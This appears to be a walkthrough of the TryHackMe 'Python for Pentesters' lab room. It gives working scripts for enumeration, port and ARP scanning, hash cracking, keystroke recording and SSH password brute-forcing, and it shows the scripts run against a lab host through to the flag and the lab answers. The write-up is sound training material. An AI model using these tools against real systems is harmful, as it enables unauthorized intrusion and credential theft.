Type: Walkthrough
Difficulty: Easy
Tags: -
Meta Tags: Walkthrough, Walk-through, Write-up, Writeup
Subscription type: Premium
Description:
Python is probably the most widely used and most convenient scripting language in cybersecurity. This
room covers real examples of Python scripts including hash cracking, key logging, enumeration and scanning.
Room link: https://tryhackme.com/room/pythonforcybersecurity
Answer: py2exe
Sample script for subdomain enumeration
import requests
import sys
sub_list = open("subdomains.txt").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains) Hint: How does the browser find the IP address of any domain/subdomain?
Answer: DNS
Hint: Never get into an argument with the system unless it's this one
Answer: sys.argv
Sample script for directory enumeration
import requests
import sys
sub_list = open("wordlist.txt").read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)We create the script and run it
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ vi direnum.py
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ python ./direnum.py 10.10.2.60
Valid directory: http://10.10.2.60/surfer.html
Valid directory: http://10.10.2.60/private.html
Valid directory: http://10.10.2.60/apollo.html
Valid directory: http://10.10.2.60/index.html Answer: 4
Answer: private.html
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ curl http://10.10.2.60/apollo.html
cd13b6a6af66fb774faa589a9d18f906 Answer: apollo.html
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ curl http://10.10.2.60/surfer.html
<!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<title>users</title>
</head>
<body>
<h1>Notes for Matt</h1>
<h2>Passwords set are:</h2>
<ul>
<li>Password for Madhatter set to MyCupOfTea</li>
<li>Password for Rabbit set to LOUSYRABBO</li>
<li>Password for Alice set to OnWithTheirHeads</li>
</ul>
<h2>Users created are:</h2>
<ul>
<li>tiffany</li>
<li>daniel</li>
<li>jim</li>
<li>mike</li>
</ul>
</body>
</html>Answer: surfer.html
See file above
Answer: LOUSYRABBO
Sample ARP scanner in Scapy
from scapy.all import *
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))Hint: Your best bet for packet generation and manipulation in Python
Answer: scapy
Hint: Home on the range?
Answer: ip_range
Answer: interface
Sample port scanner
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \nPort Scanner")
print(ascii_banner)
ip = '10.10.2.60'
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")The script uses Pyfiglet for the banner. Install it with sudo apt install python3-pyfiglet if needed.
Answer: SSH
Answer: socket
Answer: sys.stdout.flush()
Adjust the IP in the script and run it
root@ip-10-10-68-158:~# python3 portscan.py
_____ _ _ _ __ __
|_ _| __ _ _| | | | __ _ ___| | _| \/ | ___
| || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
| || | | |_| | _ | (_| | (__| <| | | | __/
|_||_| \__, |_| |_|\__,_|\___|_|\_\_| |_|\___|
|___/
____ _ _ _ _
| _ \ _ _| |_| |__ ___ _ __ | || |
| |_) | | | | __| '_ \ / _ \| '_ \ | || |_
| __/| |_| | |_| | | | (_) | | | | |__ _|
|_| \__, |\__|_| |_|\___/|_| |_| |_|
|___/
____ _ _
| _ \ ___ _ __ | |_ ___ ___| |_ ___ _ __ ___
| |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__/ __|
| __/ __/ | | | || __/\__ \ || __/ | \__ \
|_| \___|_| |_|\__\___||___/\__\___|_| |___/
____ _ ____
| _ \ ___ _ __| |_ / ___| ___ __ _ _ __ _ __ ___ _ __
| |_) / _ \| '__| __| \___ \ / __/ _` | '_ \| '_ \ / _ \ '__|
| __/ (_) | | | |_ ___) | (_| (_| | | | | | | | __/ |
|_| \___/|_| \__| |____/ \___\__,_|_| |_|_| |_|\___|_|
Open Ports are:
[22, 80, 2100]
root@ip-10-10-68-158:~# Note that it is highly recommended to run this script from the AttackBox due to lower network latency.
Answer: 3
Answer: 2100
Sample downloader
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)Answer: requests.get()
Answer: Lateral Movement
Sample hash cracker
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("TryHackMe \n Python 4 Pentesters \n HASH CRACKER for MD 5")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)From task 3 - directory enumeration
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ curl http://10.10.2.60/apollo.html
cd13b6a6af66fb774faa589a9d18f906 Answer: cd13b6a6af66fb774faa589a9d18f906
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ python hashcrack_md5.py
_____ _ _ _ __ __
|_ _| __ _ _| | | | __ _ ___| | _| \/ | ___
| || '__| | | | |_| |/ _` |/ __| |/ / |\/| |/ _ \
| || | | |_| | _ | (_| | (__| <| | | | __/
|_||_| \__, |_| |_|\__,_|\___|_|\_\_| |_|\___|
|___/
____ _ _ _ _
| _ \ _ _| |_| |__ ___ _ __ | || |
| |_) | | | | __| '_ \ / _ \| '_ \ | || |_
| __/| |_| | |_| | | | (_) | | | | |__ _|
|_| \__, |\__|_| |_|\___/|_| |_| |_|
|___/
____ _ _
| _ \ ___ _ __ | |_ ___ ___| |_ ___ _ __ ___
| |_) / _ \ '_ \| __/ _ \/ __| __/ _ \ '__/ __|
| __/ __/ | | | || __/\__ \ || __/ | \__ \
|_| \___|_| |_|\__\___||___/\__\___|_| |___/
_ _ _ ____ _ _ ____ ____ _ ____ _ _______ ____
| | | | / \ / ___|| | | | / ___| _ \ / \ / ___| |/ / ____| _ \
| |_| | / _ \ \___ \| |_| | | | | |_) | / _ \| | | ' /| _| | |_) |
| _ |/ ___ \ ___) | _ | | |___| _ < / ___ \ |___| . \| |___| _ <
|_| |_/_/ \_\____/|_| |_| \____|_| \_\/_/ \_\____|_|\_\_____|_| \_\
__ __ __ ____ ____
/ _| ___ _ __ | \/ | _ \ | ___|
| |_ / _ \| '__| | |\/| | | | | |___ \
| _| (_) | | | | | | |_| | ___) |
|_| \___/|_| |_| |_|____/ |____/
Enter wordlist file location: /mnt/hgfs/Wargames/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters/wordlist.txt
Enter hash to be cracked: cd13b6a6af66fb774faa589a9d18f906
Found cleartext password! rainbowAnswer: rainbow
The modified code is
import hashlib
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.sha256(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)Using the modified script find the cleartext value for 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ python hashcrack_sha256.py
Enter wordlist file location: /mnt/hgfs/Wargames/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters/wordlist.txt
Enter hash to be cracked: 5030c5bd002de8713fef5daebd597620f5e8bcea31c603dccdfcdf502a57cc60
Found cleartext password! redwingsAnswer: redwings
Using the keyboard module, the following three lines of code would be enough to record and replay keys pressed
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)The keyborad module can be installed with pip3 install keyboard.
Hint: ... is to Python3 what pip is to Python
Answer: pip3
Hint: Is this a game you "play" ?
Answer: keyboard.play(keys)
Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
The example below shows one way to build an SSH password brute force attack script.
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()Hint: You should have found the answer during the directory enumeration task.
From task 3 directory enumeration
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ curl http://10.10.2.60/surfer.html
<!DOCTYPE HTML>
<---snip--->
<h2>Users created are:</h2>
<ul>
<li>tiffany</li>
<li>daniel</li>
<li>jim</li>
<li>mike</li>
</ul>
</body>
</html>Answer: tiffany
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ python ssh_brute.py
Please enter target IP address: 10.10.2.60
Please enter username to bruteforce: tiffany
Please enter location of the password file: /mnt/hgfs/Wargames/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters/wordlist.txt
no luck
no luck
no luck
<---snip--->
no luck
no luck
no luck
no luck
password found: trustno1Answer: trustno1
Connect with SSH as tiffany
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Walkthroughs/Easy/Python_for_Pentesters]
└─$ ssh tiffany@10.10.2.60
The authenticity of host '10.10.2.60 (10.10.2.60)' can't be established.
ED25519 key fingerprint is SHA256:Xa6evphnJ39XFfMdAQqFxyCAFIKUhNBCAnQ5ldqx91U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.2.60' (ED25519) to the list of known hosts.
tiffany@10.10.2.60's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-1029-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Apr 17 17:29:34 UTC 2025
System load: 0.01 Processes: 95
Usage of /: 4.8% of 29.02GB Users logged in: 0
Memory usage: 21% IP address for eth0: 10.10.2.60
Swap usage: 0%
129 packages can be updated.
78 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jun 28 13:00:46 2021 from 10.9.2.216
$ ls
flag.txt
$ cat flag.txt
THM-<REDACTED>
$ exit
Connection to 10.10.2.60 closed.Answer: THM-<REDACTED>
For additional information, please see the references below.